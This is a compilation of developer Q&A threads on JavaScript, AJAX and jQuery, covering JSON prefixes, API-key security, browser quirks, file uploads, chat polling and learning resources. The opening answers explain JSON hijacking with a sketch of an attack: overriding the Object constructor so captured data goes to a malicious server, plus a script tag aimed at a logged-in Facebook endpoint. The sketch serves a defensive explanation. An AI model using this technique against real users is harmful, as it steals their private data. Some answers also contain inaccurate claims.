In so doing, a developer can't be "lazy": they will notice immediately if they use eval(), wonder what is up, and then realize their mistake and use the approved JSON API.
The other answers being provided seem to all fall into one of two categories:
Those in the first category (which unfortunately includes the accepted answer) rely on the idea that an attacker can somehow make a request "using JSONP" to an API that doesn't support it. JSONP is a protocol that must be supported on both the server and the client: it requires the server to return something akin to myFunction({"t":"continue"}) such that the result is passed to a local function. You can't just "use JSONP" by accident.
Those in the second category are citing a very real vulnerability that has been described allowing a cross-site request forgery via tags to APIs that do not use JSONP (such as this one), allowing a form of "JSON hijacking". This is done by changing the Array/Object constructor, which allows one to access the information being returned from the server without a wrapping function.
However, that is simply not possible in this case: the reason it works at all is that a bare array (one possible result of many JSON APIs, such as the famous Gmail example) is a valid expression statement, which is not true of a bare object.
In fact, the syntax for objects defined by JSON (which includes quotation marks around the field names, as seen in this example) conflicts with the syntax for blocks, and therefore cannot be used at the top-level of a script.
js> {"t":"continue"}
typein:2: SyntaxError: invalid label:
typein:2: {"t":"continue"}
typein:2: ....^
For this example to be exploitable by way of Object() constructor remapping, it would require the API to have instead returned the object inside of a set of parentheses, making it valid JavaScript (but then not valid JSON).
js> ({"t":"continue"})
[object Object]
Now, it could be that this for(;;); prefix trick is only "accidentally" showing up in this example, and is in fact being returned by other internal Facebook APIs that are returning arrays; but in this case that should really be noted, as that would then be the "real" cause for why for(;;); is appearing in this specific snippet.
This looks like a hack to prevent a CSRF attack. There are browser-specific ways to hook into object creation, so a malicious website could use do that first, and then have the following:
<script src="http://0.131.channel.facebook.com/x/1476579705/51033089/false/p_1524926084=0" />
If there weren't the infinite loop before the JSON, an object would be created (since JSON can be eval()ed as javascript, and the hooks would detect it and sniff the object members.
Now if you visit that site from a browser, while logged into facebook, it can get at your data as if it were you, and then send it back to its own server via e.g. an AJAX or javascript post.
I'm a bit late and T.J. has basically solved the mystery, but I thought I'd share a great paper on this particular topic that has good examples and provides deeper insight into this mechanism.
These infinite loops are a countermeasure against "Javascript hijacking", a type of attack that gained public attention with an attack on Gmail that was published by Jeremiah Grossman.
The idea is as simple as beautiful: A lot of users tend to be logged in permanently in Gmail or Facebook. So what you do is you set up a site and in your malicious site's Javascript you override the object or array constructor:
function Object() {
//Make an Ajax request to your malicious site exposing the object data
}
then you include a <script> tag in that site such as
<script src="http://www.example.com/object.json"></script>
And finally you can read all about the JSON objects in your malicious server's logs.
As promised, the link to the paper.
This is probably a generic security question, but I thought I'd ask in the realm of what I'm developing.
The scenario is: A web service (WCF Web Api) that uses an API Key to validate and tell me who the user is, and a mix of jQuery and application on the front ends.
On the one hand, the traffic can be https so it cannot be inspected, but if I use the same key per user (say a guid), and I am using it in both then there's the chance it could be taken and someone could impersonate the user.
If I implement something akin to OAuth, then a user and a per-app key is generated, and that could work - but still for the jQuery side I would need the app API key in the javascript.
This would only be a problem if someone was on the actual computer and did a view-source.
What should I do?
I'm sure it's probably a common problem - so any pointers would be welcome.
To make this clearer - this is my API I have written that I am querying against, not a google, etc. So I can do per session tokens, etc, I'm just trying to work out the best way to secure the client side tokens/keys that I would use.
I'm being a bit overly cautious here, but just using this to learn.
(I suggest tagging this post "security".)
First, you should be clear about what you're protecting against. Can you trust the client at all? A crafty user could stick a Greasemonkey script on your page and call exactly the code that your UI calls to send requests. Hiding everything in a Javascript closure only means you need a debugger; it doesn't make an attack impossible. Firebug can trace HTTPS requests. Also consider a compromised client: is there a keylogger installed? Is the entire system secretly running virtualized so that an attacker can inspect any part of memory at any time at their leisure? Security when you're as exposed as a webapp is is really tricky.
Nonetheless, here are a few things for you to consider:
Consider not actually using keys but rather HMAC hashes of, e.g., a token you give immediately upon authentication.
DOM storage can be a bit harder to poke at than cookies.
Have a look at Google's implementation of OAuth 2 for an example security model. Basically you use tokens that are only valid for a limited time (and perhaps for a single IP address). That way even if the token is intercepted or cloned, it's only valid for a short length of time. Of course you need to be careful about what you do when the token runs out; could an attacker just do the same thing your code does and get a new valid token?
Don't neglect server-side security: even if your client should have checked before submitting the request, check again on the server if the user actually has permission to do what they're asking. In fact, this advice may obviate most of the above.
It depends on how the API key is used. API keys like that provided by Google are tied to the URL of the site originating the request; if you try and use the key on a site with an alternate URL then the service throws and error thus removing the need to protect the key on the client side.
Some basic API's however are tied to a client and can be used across multiple domains, so in this instance I have previously gone with the practice of wrapping this API in server side code and placing some restrictions on how the client can communicate with the local service and protecting the service.
My overall recommendation however would be to apply restrictions on the Web API around how keys can be used and thus removes the complications and necessity of trying to protect them on the client.
Generally in cases like this though you proxy requests through the server using 'AJAX' which verifies the browser making requests is authorized to do so. If you want to call the service directly from JavaScript, then you need some kind of token system like JSON Web Tokens (JWT) and you'll have to work out cross-domain issues if the service is located somewhere other than the current domain.
How about using jQuery to call server side code that handles communication with the API. If you are using MVC you can call a controller action that can contain the code and API key to hit your service and return a partial view (or even JSON) to your UX. If you are using web forms you could create an aspx page that will do the API communication in the code behind and then write content to the response stream for your UX to consume. Then your UX code can just contain some $.post() or $.load() calls to your server side code and both your API key and endpoint would be protected.
see http://blogs.msdn.com/b/rjacobs/archive/2010/06/14/how-to-do-api-key-verification-for-rest-services-in-net-4.aspx for more information (How to do API Key Verification for REST Services in .NET 4)
I have implemented an ajax-polling script that calls an action in the server Controller every 10 seconds. With the response, I replace the content of a div:
function getFoo() {
var link = '/Secure/GetFoo';
$.post(link, function (response) {
$('#FooSection').replaceWith(response);
});
setTimeout("getFoo();", 10000);
}
This is done through https. After some time of being "idle", IE displays the following message:
This page is accessing information that is not under its control. This poses a security risk. Do you want to continue?
If the user clicks Yes, the page is redirected to the div displaying the response only. If the user clicks No, nothing happens, but the div container will not be refreshed.
I know I can suppress this message through browser settings, but that will just bring me to a default Yes selection as per the above dialog.
A similar issue has been asked before, but unfortunately there hasn't been any solution. I basically want to make my ajax-polling work even on a secure connection. Any ideas?
You should never see that dialog on an Internet-Zone page. By default, this operation is silently and automatically blocked in the Internet Zone.
There are two root causes for that dialog to appear in the Intranet zone:
1> Attempting to do a cross-origin request using the XMLHTTPRequest object (http://blogs.msdn.com/b/ieinternals/archive/2011/04/22/ie-security-prompt-page-accessing-cross-domain-information-not-under-its-control.aspx)
2> Attempting to navigate an OBJECT Tag hosting HTML to a cross origin page.
You can avoid case #1 by using XDomainRequest instead of XMLHTTPRequest. You can avoid case #2 by using an IFRAME instead of an OBJECT tag.
I ran into a similar problem the other day, being unable to find out why IE would complain after an AJAX request.
I used Firebug's net console and just went through the requests one by one till i found one that was http:// instead of https://, i suggest you do the same - It'll be allmost impossible for us to debug this without seeing the page, but it could be something as little as a background image not being loaded via https.
Note: I did notice you saying it was IE, but a problem like this would probably not be browser-specific, Firefox/Chrome just doesn't make the same fuss about there being non https elements as IE does.
There's two things about your code :
Why do you use a POST ajax request ? why not GET ? Your request looks like a GET request (you want to get some data), so the GET method is probably a better choice.
It's not linked to your problem, but you should not use setTimeout with a string to eval. You should give setTimeout a variable as the first argument, and this variable should be the function you want to execute.
function getFoo() {
var link = '/Secure/GetFoo';
$.get(link, function (response) {
$('#FooSection').replaceWith(response);
});
window.setTimeout(getFoo, 10000);
}
If there is even one element whose src attribute begins with "http" instead of "https" in your code, IE will show that message.
Are you sure that the data you 're fetching has no elements that have src="http:// ... " in their src attribute?
I've seen this happen before because the new content being inserted via the ajax call had links to none secure image assets, any chance this is the problem you are seeing?
Did you try using absolute url?
var link = 'https://www.yourdomain.com/Secure/GetFoo';
Have you tried using protocol-relative hyperlinks (//something.com/image.png)? See this link or this one.
In Google Chrome, AJAX called within $(function(){....}); seems to keep the page loading.
I have a site with a few pages with tabs. Because I'm using cheap godaddy hosting, I want the page to load as fast as possible. I thus want to load a page on 1 tab and then in the background use AJAX to load the other tabs. When I run AJAX from
$(function(){
/*AJAX CODE HERE */
});
The cursor shows the page as loading for a long time (http://jsfiddle.net/mazlix/7fDYE/9/)
I have figured out a way (in chrome atleast) to somewhat fix that using setTimeout(); (http://jsfiddle.net/mazlix/7fDYE/8/), but this only works if you correctly predict when the window finishes fully loading and obviously makes it take longer to load. I want a way to load content via AJAX immediately after the page loads, so no "busy-cursor" is displayed while waiting for the returned AJAX.
Google Chrome shows Loading Indicator as long as there are no new queries to servers. While the loading indicator is shown, all new requests are causing Chrome to extend the time the indicator is shown. Furthermore, when esc is pressed while the indicator is shown, all requests are aborted! These include AJAX requests and even Flash requests! Take a look at this question: i thought it was because of Youtube, but it turned to be Chrome's usual behavior.
The only way to avoid "extending" the time Loading indicator is shown, is making the requests after the loading indicator is hidden: i.e. when all queries to server are completed. JQuery's documentation on .load() says:
The load event is sent to an element when it and all sub-elements have been completely loaded. This event can be sent to any element associated with a URL: images, scripts, frames, iframes, and the window object.
So, if you're sure that there are only images, scripts and frames on your page, window.load() will be fired just when you need it. Adding setTimeout() to it will work as you like. Here is an example: http://jsfiddle.net/7fDYE/22/
If there are other requests being made before your request, you should wait for them to be completed! For example, you know that besides the images/scripts etc. you have 3 more AJAX requests before the page loads. You can have something like this:
var loaded=0,needsToBeLoaded=4; //3 AJAX + window
function onLoad(){
loaded++;
if(loaded==needsToBeLoaded){
//do the AJAX request
}
}
window.load(onLoad);
// add onLoad() to all 3 AJAX request handlers
I'm not sure what you can do with Flash requests...
This solution will not work for Chrome. It stops the loading indicator only when all requests made before window load have completed. The only solution appears to be to get it to make the request after window load, but as far as I know, this is only possible with setTimeout, which isn't great.
To get around the pointer issue in Chrome, you could set the cursor style as shown in this fiddle. It's a bit hacky and it doesn't address the issue of the loading indicator at the top of the tab.
The loading indicator will be present in browsers until the page has loaded (window's load event). In $(function(){someCode();});, someCode is executed when the DOM load event is triggered (when all content has been parsed and inserted into the DOM, before page load). The execution of JavaScript at this point blocks the window's load event from firing, and so prevents the loading indicator from stopping. Note that image loading also blocks the window's load event.
Instead, you could try $(window).load(function(){someCode();});. In this example, someCode is executed when the window's load event is triggered. This is at the point where the browser's loading indicator stops.
So, instead of:
$(function(){
/*AJAX CODE HERE */
});
Try:
$(window).load(function(){
/*AJAX CODE HERE */
});
Note that this may cause your JavaScript to begin execution later, which may not be desirable.
There is a super simple, fool proof solution to this:
Wrap your function in a setTimeout call, and use an interval of 0. This will queue the function to be called immediately, but Chrome will no longer wait for it to load before considering the page 'complete'. You do NOT need to make any guesses about when the page will be complete, just make sure you're calling setTimeout inside the jquery Ready handler, like so:
$(window).load(function() {
setTimeout(function() {
$("#result").html(ajax_load);
$.post("/echo/json/", {json: json1, delay: 10000}, show_json, "json");
}, 0);
});
I'm not sure I agree that this is a problem. I'd say this is a desirable behavior from chrome as it indicates that it's in fact not finished loading. I would say that Firefox is actually incorrect about not indicating that it's still waiting for a script callback to finish.
This could be a matter of personal taste (I like the browser to indicate that it's waiting/working, even if it makes my browser seem slow), in which case succeeding in "fixing" this "problem", will make the browser not behave in the way the user is used to. In web development you really should not try to force the browser to behave in a specific way that is not essential to how the webapp works, because you're likely to end up enforcing a look-and-feel from one os you're used to into another os with a different feel, making it feel more foreign to the users of another os (even if it makes the site feel more native to you).
The busy cursor is not a problem anyway, because elements already loaded, are still responsive.
According to JQuery docs, no javascript should be run till ready for example
$(document).ready(function() {someCode();});
with that in mind i changed your jsFiddle (it takes some time to load but it works)
Edit: hadnt forked jsfiddle ><
I know this questions has been asked a few times here. But these seem fairly outdated, and it looks like the Adsense for Ajax project has been canned (or at the very least, moving very slowly).
I have a web site that I've recently integrated pjax into -- basically, it uses Ajax to load the just the main content area, while maintaining the browser history and back/forward functionality using javascript's history.pushState.It has made a world of difference in how responsive the whole site is, as it no longer has to do HTTP requests for all of the outer shell of the site (javascript, css, images).
But Adsense just won't work with Ajax -- at least not natively. I've read about iFrame solutions, but it sounds like iFrames and Ajax and my pjax solution won't play together well.
What I'm doing is not devious, as far as Adsense usage goes. I'm still just showing one set of ads per page navigation as users click links. It's just not doing a full page-level HTTP request.
Are there any options out there? Has anybody done something like this? Or, does anybody know of any updates to the Adsense for Ajax project?
I need to get this figured out. If I can't, I may chose the pjax over the Adsense, which means my whole business plan will have to be rehashed. Ugh.
Thanks in advance.
This is against AdSense terms.
You may want to implement the DFP solution, If I recall exact DFP allows something like that.
FYI, I reached out to Google, and received the following response:
At this point, we do not have a product that works with AJAX sites or sites containing other dynamic content. This is something we're actively looking to build out, but I cannot provide more information or a timeline at this point.
While it's fairly vague (which I expected), it at least shows that they recognize the need, and are not completely ignoring it.
Thanks to all for your responses.
There appears to be no way to do what you want.
It seems like you could subscribe an event handler to the all the a elements within the div that contains your AdSense widget (like jQuery's $('#myAdSenseContainer a').click(handler) At that point, you have full control over what happens when the link is clicked, so you can do whatever AJAXy stuff you want.
First a warning: Google is merciless and will not reason with you should you break even a technicality in their TOS.
That aside, this question seems to be synonymous with yours. I don't believe there have been any advancements in AJAX-ing ads since then (HTML5 doesn't provide any solutions I can think of...)
The TLDR version of that page is that:
Given google's annoying (and strict) terms, might I suggest using another ad network
Try Adsense Custom Search Ads. It allows you to use keywords (could be long sentences) to show ads. [edit: it's not permitted according to tos, keywords must be user submitted]
I'm having some problems with a weird HTTP status code in MSIE8.
I send an HTTP GET to the following URL:
/cgi-bin/objectBrowser/snap.pl?file_key=28
From Fiddler, I can see that I'm getting the following Raw response:
HTTP/1.1 302 Found
Date: Fri, 27 May 2011 20:24:38 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 61
Location: /cgi-bin/objectBrowser/workWithSnap.pl?snapKey=32
This was generated using the following Perl:
print $cgi->header( -status => '302 Found' );
print "Location: /cgi-bin/objectBrowser/workWithSnap.pl?snapKey=$snap_key\n\n";
I'm using jQuery to access it, in the following way:
jQuery.ajax({
type : "GET",
url : "/cgi-bin/objectBrowser/file.pl?pmr=" + request.pmr
+ "&filename=" + request.filename,
statusCode : {
200 : function(file_info) {
if (file_info.status == "parsing") {
jQuery('div#updates').append('<div class="information">No snap yet, but file <i>has</i> been registered already.</div>');
jQuery('div#updates').append('<div class="waiting">Awaiting job completion...</div>');
jQuery.getJSON("/cgi-bin/objectBrowser/job.pl?file_key=" + file_info.file_key, function(job_info) {
poll_for_job_completion(job_info);
});
} else {
jQuery.ajax({
type : "GET",
url : "/cgi-bin/objectBrowser/snap.pl?file_key=" + file_info.file_key,
statusCode : {
302 : function(xhr) {
jQuery('div#updates').append('<div class="information">Redirecting to snap</div>');
alert("302: "+ xhr.responseText);
process_302(xhr.responseText);
}
}
});
}
},
302 : function(xhr) {
alert("302: "+ xhr.responseText);
process_302(xhr.responseText);
},
404 : register_file
}
});
Finally, I have the following to help with debug:
jQuery('body').ajaxComplete(function(e,a,o) {
console.log('Event: %o\nXHR: %o\nOptions: %o',e,a,o);
console.log(o.url);
console.log(a.status);
console.log(a.responseText);
});
This all works fine in Firefox and Chrome, but in MSIE, where I normally get a status of 302 in response to my request for snap.pl, I'm getting a response of 12150. The best hit I've found is on MSDN, which suggests that this is ERROR_HTTP_HEADER_NOT_FOUND... but the Headers look good to me.
I can't figure out what's going wrong here... does anyone see anything that I may be overlooking?
Problem solved!
The bug was the header generation.
The resulting HTTP header has a big gap in it and MSIE8 is interpreting Location as being in the body, not the header.
By using
print $cgi->redirect( -uri => "/cgi-bin/objectBrowser/workWithSnap.pl?snapKey=$snap_key");
the header is created correctly and I get sensible behaviour again
HTTP/1.1 302 Found
Date: Fri, 27 May 2011 21:00:51 GMT
Server: Apache/2.2.3 (Red Hat)
Location: /cgi-bin/objectBrowser/workWithSnap.pl?snapKey=32
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8
I'm using file api and xhr2 spec. I created an uploader (backed by flash for older browsers) that was using FormData and $.ajax(options) where the FormData object with File was part of options.data object. Everything was working.
Now I decided to remove FormData because of weak browser support. And I can't figure a way to upload the file other than
var xhr = new XMLHttpRequest();
xhr.setRequestHeader("Cache-Control", "no-cache");
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("X-File-Name", file.name);
xhr.send(file);
Which doesn't return Promise that I can use in the recursion function.
My code is like this :
startUpload: function() {
var that = this;
that.recurseSend(that.queue);
},
_initProgressListener: function (options, file) {
var that = this;
var xhr = $.ajaxSettings.xhr();
options.contentType = 'multipart/form-data';
options.processData = false;
options.type = 'POST';
// WHAT TO DO HERE TO avoid FormData???? What ever I put into options.data - fails
/* THIS WOULD WORK
var formData = new FormData();
formData.append('file', file);
options.data = formData;
*/
if (xhr.upload && xhr.upload.addEventListener) {
xhr.upload.addEventListener('progress', function (e) {
that._onProgress(e, file);
}, false);
options.xhr = function () {
return xhr;
};
}
},
recurseSend: function (queue) {
var file = queue.pop();
if(file != undefined) {
var that = this;
var options = that.options;
that._initProgressListener(options, file);
var send = function() {
jqXHR = ($.ajax(options)).done(function(result, textStatus, jqXHR) {
that._onDone(result, textStatus, jqXHR, file);
queue.stats['successful_uploads']++;
}).fail(function(jqXHR, textStatus, errorThrown) {
that._onFail(jqXHR, textStatus, errorThrown, file);
queue.stats['upload_errors']++;
}).always(function(result, textStatus, jqXHR) {
that._onAlways(result, textStatus, jqXHR, file);
queue.stats['files_queued']--;
that.recurseSend(queue);
});
return jqXHR;
};
this._beforeSend(file);
return send();
}
},
To make it short, $.ajax(options) resolves into xhr.send(formData) if options.data = FormData but how do I make it resolve into xhr.send(file) ?
EDITED: I was playing with it and if I set options.data = file; then $.ajax(options) executes xhr.send(theFile); but with error Error: INVALID_STATE_ERR: DOM Exception 11
and the request is sent as POST multipart/form-data request, but without the multipart body with file in it
And if I put it into options.data = {file: file}; it is serialized no matter if processData property is set to true or not.
You can manually generate the MIME data for the upload from the HTML5 file data read using FileReader or similar APIs. Check out: https://github.com/coolaj86/html5-formdata . This will do more or less that, although it depends on getAsBinary() -- changing it to also be able to use FileReader and readAsBinaryString() would probably be more cross-browser-compatible.
Note that this still won't work at all in IE7/8, and as others have said, there is no way to do it without resorting to Flash or iframes. That being said, if you're using File, presumably you don't care about IE7 or IE8 anyway...
How can I upload files asynchronously with JQuery?
And hey! Bam. Instant expert.
It seems you can't do this without going through an iFrame. There seem to be working snippets in the answer i linked, and several plugins that do it for you.
Cross browser support for Ajax (like) file upload with progress is damn near impossible.
I usually use SWFUpload.
I know, it's flash, but it works. The only browsers that it will always fail for are Apples mobile browsers, but they don't support uploads anyway.
I my self have used valums ajax uploader. You can get it from here: http://valums.com/ajax-upload/. It works pretty nicely. I don't know the exact implementation details, but here's a very short description:
"This plugin uses XHR for uploading multiple files with progress-bar in FF3.6+, Safari4+, Chrome and falls back to hidden iframe based upload in other browsers, providing good user experience everywhere."
So it sounds like its very close to what you want. Here's another bit of info describing the way it works from the servers point of view (from server/readme.txt):
For IE6-8, Opera, older versions of other browsers you get the file as you normally do with regular form-base uploads.
For browsers which upload file with progress bar, you will need to get the raw post data and write it to the file.
So it requires special handling on the server side. Luckily it comes with several reference server side implementations (perl, php and java) so that shouldn't be too much of hassle. Happy ajax uploading :)
Whenever you are dealing with uploading arbitrary data from a users machine, the answer is usually "no, and if you can, that's a bug".
This strikes me as something that would fall under the umbrella of security violations. You can't change the value of the file input control or do many other things to it including read the true path of the file or its contents. Furthermore, on some platforms you don't have even the file size (IE, I'm looking at you) without some security dialog popping up (via an activex control). Given all of these problems I would probably be tempted to say that even if you did find a solution, it would be potentially viewed as a bug in the future and removed or changed.
In other words, I don't think it's a safe thing to do unless you find a reputable source explicitly supporting it ... like the chromium dev blog.
I am playing around with history API on Android phones but I can't seem to get it to work completely.
What is really bugging me is that I can't get the URL to change with pushState. Many more sites that i've seen have the same problem but one (at least that I know) has nailed it -github with their tree slider (e.g. https://github.com/ender-js/Ender). Any idea how to implement pushState so it works in that way on Android?
For a great tutorial the Mozilla Developer Network page on this functionality is all you'll need: https://developer.mozilla.org/en/DOM/Manipulating_the_browser_history
Unfortunately, the HTML5 History API is implemented differently in all the HTML5 browsers (making it inconsistent and buggy) and has no fallback for HTML4 browsers. Fortunately, History.js provides cross-compatibility for the HTML5 browsers (ensuring all the HTML5 browsers work as expected) and optionally provides a hash-fallback for HTML4 browsers (including maintained support for data, titles, pushState and replaceState functionality).
You can read more about History.js here: https://github.com/balupton/History.js
For an article about Hashbangs VS Hashes VS HTML5 History API, see here: https://github.com/balupton/history.js/wiki/Intelligent-State-Handling
So my problem is relatively simple, I've Googled all over to find a solution but I've yet to find one.
The problem is, I've developed a WYSIWYG plugin for Drupal's WYSIWYG module/framework (not sure if this is relevant). The purpose of the plugin is to allow embedding of video files inside the WYSIWYG content. Our client offers a video uploading/editing API which their customers use to embed files on their pages.
To put it simply, my plugin opens up a pop-up where the user selects one of their videos as fetched from their account at the clients site, the plugin then calls the API and is returned with HTML and JavaScript for embedding the video which is then inserted into the WYSIWYG content.
This works like a charm in Firefox, however I have a few problems with it in Chrome. After debugging back and forth I've noticed that the embedded JavaScript inside the WYSIWYG editor gets escaped (IE, quotes turned into " etc).
This does not happen with Firefox so it's most likely Chrome which is causing it, or perhaps even Webkit? I've already checked the HTML and JavaScript that gets returned through the Ajax call and it is fine, it's when it gets embedded inside the WYSIWYG it gets escaped.
The WYSIWYG editor I've tested in is TinyMCE by the way.
Adding as an answer for @tobbr to help other SO users:
i solved this by adding the script to a db table instead and then loading it using drupal_add_js with hook_nodeapi. works better and solves another IE related problem
I have an ajax request that can have two possible outcomes: 1) server responds with a message which I should place in a div 2) it responds with html page, in this case i need to substitute current page with a new one and change the address (the client knows the address before a request).
What would be the solution if I have the Ajax request that need to handle both these cases:
url = "http://example.com"
ajax.request(callback)
function callback(response) {
if (case2(response)) {
history.pushState({}, "New page", url);
document.innerHTML = response
} else {
updateDiv(response)
}
}
I'm interested in a correct way to implement the first branch, or if the server can somehow compose a headers that will make browser to handle a response as a usual http response and update a page location and content, something like redirect with given content. I understand that the server can return a link instead of a page, but in this case one additional stage will be needed on a client - redirect and then populating the new page on the server.
Quite frankly, I think that approach is basically broken by design. You shouldn't have to make that decision at that place. For example, the ajax response could only signal that a whole new page should be loaded and the new content then be generated on a second (non-ajax) request to a new URL.
In case you're forced to take the way you already go, and provided the response content is not very large, you could try Javascript-URIs. Basically, an URI in the form of javascript:"string" will load a new page which that string is the source code for. So, if response already is a string, just assigning javascript:response to window.location.href should suffice. Maybe you have to do some escaping beforehand. And I don't know, how cross-browser-compatible this approach is.
<a href="javascript:response">load</a>
is also possible.
A variant of this is building the URL not with the variable name, but with the actual string data. Like
function source2url(src) {
// make valid javascript string from source text
var esc1 = src
.replace(/\\/g, '\\\\')
.replace(/\'/g, '\\\'')
.replace(/\x0A/g, '\\x0A')
.replace(/\x0D/g, '\\x0D');
// make valid url from that
return "javascript:'" + encodeURIComponent(esc1) + "'";
}
window.location.href = source2url(response);
This will, of course, generate pretty large URIs. And you'll always have the Javascript-URI in the address bar.
UPDATE
A similar approach is to use base64 encoding in a data URI. The Wikipedia entry explains how it works, including a javascript example. However, you'd have to base64-encode the content somehow. (Note: You can use data URIs with or without the base64 encoding. You have to see what gives you shorter URIs for your specific content.)
I had a similar issue once. A full error page was returned instead of a simple HTML snippet. We eventually fixed this by changing the logic, but here is one of the solutions I found:
document.open();
document.write(responseText);
document.close();
The reason we abandoned this is that on IE there were some problems. I didn't loose any time to investigate why, but it threw an 'Access denied' exception when attempting to write the string. I think there were some <meta> tags that confused IE, or maybe conditional comments, I'm not sure. (It worked when I used some simple pages...)
Bottom line is: you shouldn't have to do this, but if there is nothing else you can do (like returning an url string) the code above might work.
It's really easy if the response is valid XML.
var new_doc = (new DOMParser).parseFromString(response, "application/xml");
document.replaceChild(document.adoptNode(new_doc.doctype), document.doctype);
document.replaceChild(document.adoptNode(new_doc.documentElement), document.documentElement);
With new address? That's not what AJAX does. Redirect to the new URL. At most, you'd replace everything in the <body> tag, never the entire <html> document.
do u want to consider jquery as an option ? its a very easy to do it with jquery .load with minor coding lines
I'm using XmlHttpRequests to upload images to a server and I'd like to show the user the progress of these uploads.
Unfortunately the interval between calls to my onprogress-event handler is too large. Usually onprogress is called only once or twice for a 500k image.
Here is my code:
/* This function is not called often enough */
function progress(e){
msgq.message(id, 'Uploading ' + imgName + ': ' + Math.round((e.loaded / e.total) * 100) + ' %')
}
var xhr = new XMLHttpRequest();
xhr.upload.addEventListener('progress', progress, false);
xhr.send(data);
Can this behaviour be changed or is this hardcoded somewhere in the browser implementation?
The W3 sets forth the following guidelines in their XMLHttpRequest Level 2 document. Obviously varying levels of conformance across browsers are to be expected.
Uploads:
While the request entity body is being uploaded and the upload complete flag is false, queue a task to fire a progress event named progress at the XMLHttpRequestUpload object about every 50ms or for every byte transmitted, whichever is least frequent. - W3 XMLHttpRequest Level 2 (Bolded for emphasis)
Downloads:
When it is said to make progress notifications, while the download is progressing, queue a task to fire a progress event named progress about every 50ms or for every byte received, whichever is least frequent. - W3 XMLHttpRequest Level 2 (Bolded for emphasis)
I am not aware of an api to customize this functionality.
I run a website where users can chat with each other through the browser (think Facebook chat). What is the best way to handle the live interaction? (Right now I have a poll going every 30 seconds to update online users and new incoming messages, and another poll going on chat pages every second to get new messages.)
Things I've considered:
Right now, I am using short polling because I don't know how scalable AJAX long polling would be. I'm running a VPS server from servint right now (running apache). Should I use long polling or short polling? I don't need absolutely immediate response times (just "good enough" for a chat app). Is short polling this often with a few hundred-thousand users going to kill my server? How do I scale this, please help!
This is something everyone did once upon a time before the introduction of cometd and nodejs.
The issue as I see it is PHP requests on Apache are very expensive. If your chat application checks for messages every second you will find yourself in a situation where Apache does not have enough resources to respond to requests. The other area I think needs improvement is to improve the context of your chat application.
Why does it update every second if not to retrieve new messages? What if there are no messages?
Some techniques you can use;
Provide a light-weight endpoint to your clients that has some context about the chat session, is a new message pending, how many messages etc. The client can respond to this by updating immediately or not if there are no new messages. This endpoint can provide a simple json object via http request. You are guaranteed that this status message will be a fixed size and if the response of the status does not change you can decay it. See next message.
A simple decay in your javascript polling, if the client receives the same response from the server a few times in a row you can increment the poll by a set time, at present you said it was every second. If you did this you would increment to every 2,4,6,8,10 seconds. As soon as the response from the server changes you reset the decay.
Some optimizations to consider;
Use a PHP Opcode cache like APC.
Set a low timeout on all requests, you do not want any requests to hang your server.
Optimize your PHP code, make it lean and fast.
Run some load tests to see what your limits are.
Benchmark performance often to make sure your applications is getting faster.
Check apache logs for tell tale signs of overall health of the application and response times.
When scaling becomes necessary, add a new server and use a load balancer to distribute requests. I have used Varnish and HAProxy with great success, setting them up is not complicated either.
A few notes:
You may also consider server-side JavaScript, like NodeJS
If i were you i'd pick a library that uses html5 web sockets yet falls back on flash sockets if html5 isn't available, the browser that fall through the crack should be minute.
Also you should either abandon php or supplement it with a threaded socket server written either in python or ruby with em-websocket.
I have the following web service;
[WebMethod]
public string HelloWorld()
{
return "Hello World";
}
It's stock standard with no alterations to the class decorators.
I have this jQuery method;
var webMethod = "http://localhost:54473/Service1.asmx/HelloWorld";
$.ajax({
type: "POST",
contentType: "application/json; charset=utf-8",
data: "{}",
dataType: "json",
url: webMethod,
success: function(msg){ alert(msg.d); },
error: function (XMLHttpRequest, textStatus, errorThrown) {
alert(errorThrown);
}
});
It's a post action because later on I need to post data to it.
When I execute the jQuery I get a "No transport" error returned.
One thing I should also mention is that the jQuery is stored in a simple HTML file on my machine and the WebService is running on my machine also.
There is no code behind on the HTML page it's simply a web page and not a c# project or anything.
Can anyone please point me in the right direction here?
Add this: jQuery.support.cors = true;
It enables cross-site scripting in jQuery (introduced after 1.4x, I believe).
We were using a really old version of jQuery (1.3.2) and swapped it out for 1.6.1. Everything was working, except .ajax() calls. Adding the above line fixed the problem.
If your jQuery page isn't being loaded from http://localhost:54473 then this issue is probably because you're trying to make cross-domain request.
Update 1 Take a look at this blog post.
Update 2 If this is indeed the problem (and I suspect it is), you might want to check out JSONP as a solution. Here are a few links that might help you get started:
To begin with, I believe I know jquery basics quite well. I want to learn more and be able to make more complex things (like live chat with many features or something like that).
So, can anyone suggest me good jQuery books or tutorials online to help me become really advanced in this field.
I have an idea and I want to make it as optimal and clever as possible.
Thank you very much.
- Ajax (programming) - Read
- Comet (programming) - Read
- The AJAX response: XML, HTML, or JSON? - Read
- Quick and Dirty AJAX (Ajax vs Haha) - Read & Screencast
- The myth of "real time" - Read & Tutorial
- Writing a JavaScript/PHP Chat Server - Read & Tutorial
- 5 Ways to Make Ajax Calls with jQuery - Tutorial
- The jQuery Cross-Domain Ajax Guide - Tutorial
- jQuery Ajax ? Handling unauthenticated requests via Ajax - Tutorial
- Detect duplicate user sessions via AJAX with jQuery + PHP - Tutorial
- Ajax Content Type Handling in jQuery - Tutorial
- PHP jQuery AJAX Javascript Long Polling - Read & Tutorial
- JQuery PeriodicalUpdater (AJAX long polling/server polling) - Plugin
- Implementation of Bayeux protocol for jQuery - Plugin
- Building a jQuery/PHP Powered Chat Room - Tutorial
- JQuery + PHP + MySQL- AJAX Chat Box - Screencast
- Making an AJAX Web Chat - Demo - Tutorial
- How to Create A Simple Web-based Chat Application - Tutorial
- Gmail and Facebook Style jQuery Chat - Demo - Tutorial
- Create a shoutbox using PHP and AJAX (with jQuery) - Demo - Tutorial
I'd suggest checking out:
If you know jQuery well, then It'll be good to improve knowledge of javascript language itself. Because jQuery is excellent for ajax and dom interactions, but to develop quite complex applications you should know about JS OOP aspects and performance tweaks. These books by the same author are wonderful:
Although its based on 1.32, jQuery Enlightenment comes highly recommended: http://jqueryenlightenment.com/
From the introduction:
jQuery Enlightenment was written to express, in short-order, the concepts essential to intermediate and advanced jQuery development. Its purpose is to instill in you, the reader, practices that jQuery developers take as common knowledge. Each chapter contains concepts essential to becoming a seasoned jQuery developer.
Why buy this:
Head Rush Ajax is the best book I have ever seen in this area.
i suggest you this channel: http://vimeo.com/yayquery/videos/sort:date
